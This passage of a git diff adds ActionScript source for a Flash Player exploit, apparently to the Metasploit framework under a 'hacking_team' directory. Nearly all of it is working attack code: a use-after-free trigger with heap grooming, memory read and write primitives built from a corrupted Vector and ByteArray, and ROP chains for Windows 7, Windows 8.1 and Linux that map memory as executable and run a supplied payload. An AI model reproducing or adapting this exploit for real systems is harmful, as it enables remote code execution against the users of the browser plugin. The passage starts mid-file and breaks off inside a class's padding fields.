set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/hacking_team/Exploit.as b/external/source/exploits/hacking_team/Exploit.as new file mode 100755 index 0000000000..e80733e3f0 --- /dev/null +++ b/external/source/exploits/hacking_team/Exploit.as @@ -0,0 +1,37 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + + public function Exploit():void + { + //trace("Got to checkpoint 0"); + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); + } + + private function init(e:Event = null):void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + removeEventListener(Event.ADDED_TO_STAGE, init); + MyClass.TryExpl(this, platform, os, payload) + } + } +} \ No newline at end of file diff --git a/external/source/exploits/hacking_team/ExploitByteArray.as b/external/source/exploits/hacking_team/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/hacking_team/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/hacking_team/ExploitVector.as b/external/source/exploits/hacking_team/ExploitVector.as new file mode 100755 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/hacking_team/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector.<uint> + public var original_length:uint + + public function ExploitVector(v:Vector.<uint>, length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.<Object>[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/hacking_team/Exploiter.as b/external/source/exploits/hacking_team/Exploiter.as new file mode 100755 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/exploits/hacking_team/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) + private var spray:Vector.<Object> = new Vector.<Object>(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/hacking_team/Logger.as b/external/source/exploits/hacking_team/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/hacking_team/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/hacking_team/MyClass.as b/external/source/exploits/hacking_team/MyClass.as new file mode 100755 index 0000000000..562151e737 --- /dev/null +++ b/external/source/exploits/hacking_team/MyClass.as @@ -0,0 +1,93 @@ +package +{ + import flash.display.DisplayObjectContainer; + import flash.utils.ByteArray; + import flash.system.Capabilities; + import flash.events.MouseEvent; + import flash.external.ExternalInterface; + + public class MyClass + { + static var + _gc:Array, + _va:Array, + _ba:ByteArray, + _isDbg:Boolean = Capabilities.isDebugger; + + // define malicious valueOf() + prototype.valueOf = function () + { + Logger.log("MyClass.valueOf()"); + + _va = new Array(5); + _gc.push(_va); // protect from GC // for RnD + + // reallocate _ba storage + _ba.length = 0x1100; + + // reuse freed memory + for(var i:int; i < _va.length; i++) + _va[i] = new Vector.<uint>(0x3f0); + + // return one byte for overwriting + return 0x40; + } + + // try to corrupt the length value of Vector.<uint> + static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) : Boolean + { + Logger.log("tryexpl") + try + { + var alen:int = 90; // should be multiply of 3 + var a = new Array(alen); + if (_gc == null) _gc = new Array(); + _gc.push(a); // protect from GC // for RnD + + // try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ] + for(var i:int; i < alen; i+=3){ + a[i] = new MyClass2(i); + + a[i+1] = new ByteArray(); + a[i+1].length = 0xfa0; + + a[i+2] = new MyClass2(i+2); + } + + // find these pages + var v:Vector.<uint>; + for(i=alen-5; i >= 0; i-=3) + { + // take next allocated ByteArray + _ba = a[i]; + // call valueOf() and cause UaF memory corruption + _ba[3] = new MyClass(); + // _ba[3] should be unchanged 0 + Logger.log("_ba[3] = " + _ba[3]); + if (_ba[3] != 0) throw new Error("can't cause UaF"); + + // check results // find corrupted vector + for(var j:int=0; j < _va.length; j++){ + v = _va[j]; + if (v.length != 0x3f0) { + Logger.log("v.length = 0x" + v.length.toString(16)); + var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0) + Logger.log("v.length = 0x" + v.length.toString(16)); + return true + } + } + } + + Logger.log("bad allocation. try again."); + } + catch (e:Error) + { + Logger.log("TryExpl() " + e.toString()); + } + + return false; + } + + } + +} \ No newline at end of file diff --git a/external/source/exploits/hacking_team/MyClass1.as b/external/source/exploits/hacking_team/MyClass1.as new file mode 100755 index 0000000000..84ba8381eb --- /dev/null +++ b/external/source/exploits/hacking_team/MyClass1.as @@ -0,0 +1,9 @@ +package +{ + import flash.utils.ByteArray; + + class MyClass1 extends ByteArray + { + var o1:Object, o2:Object, o3:Object, o4:Object; + } +} \ No newline at end of file diff --git a/external/source/exploits/hacking_team/MyClass2.as b/external/source/exploits/hacking_team/MyClass2.as new file mode 100755 index 0000000000..c6c82ae2e0 --- /dev/null +++ b/external/source/exploits/hacking_team/MyClass2.as @@ -0,0 +1,115 @@ +package +{ + class MyClass2 extends MyClass1 + { + var + // enlarge the MyClass2 size by dummy attributes + a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint, + a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint, + a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint, + a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint, + a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint, + a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint, + a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint, + a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint, + a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint, + a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint, + + a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint, + a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint, + a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint, + a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint, + a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint, + a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint, + a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint, + a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint, + a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint, + a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint, + + a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint, + a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint, + a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint, + a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint, + a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint, + a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint, + a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint, + a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint, + a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint, + a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint, + + a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint, + a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint, + a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint, + a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint, + a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint, + a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint, + a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint, + a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint, + a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint, + a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint, + + a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint, + a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint, + a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint, + a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint, + a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint, + a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint, + a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint, + a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint, + a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint, + a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint, + + a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint, + a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint, + a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint, + a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint, + a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint, + a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint, + a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint, + a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint, + a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint, + a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint, + + a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint, + a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint, + a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint, + a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint, + a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint, + a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint, + a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint, + a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint, + a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint, + a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint, + + a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint, + a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, 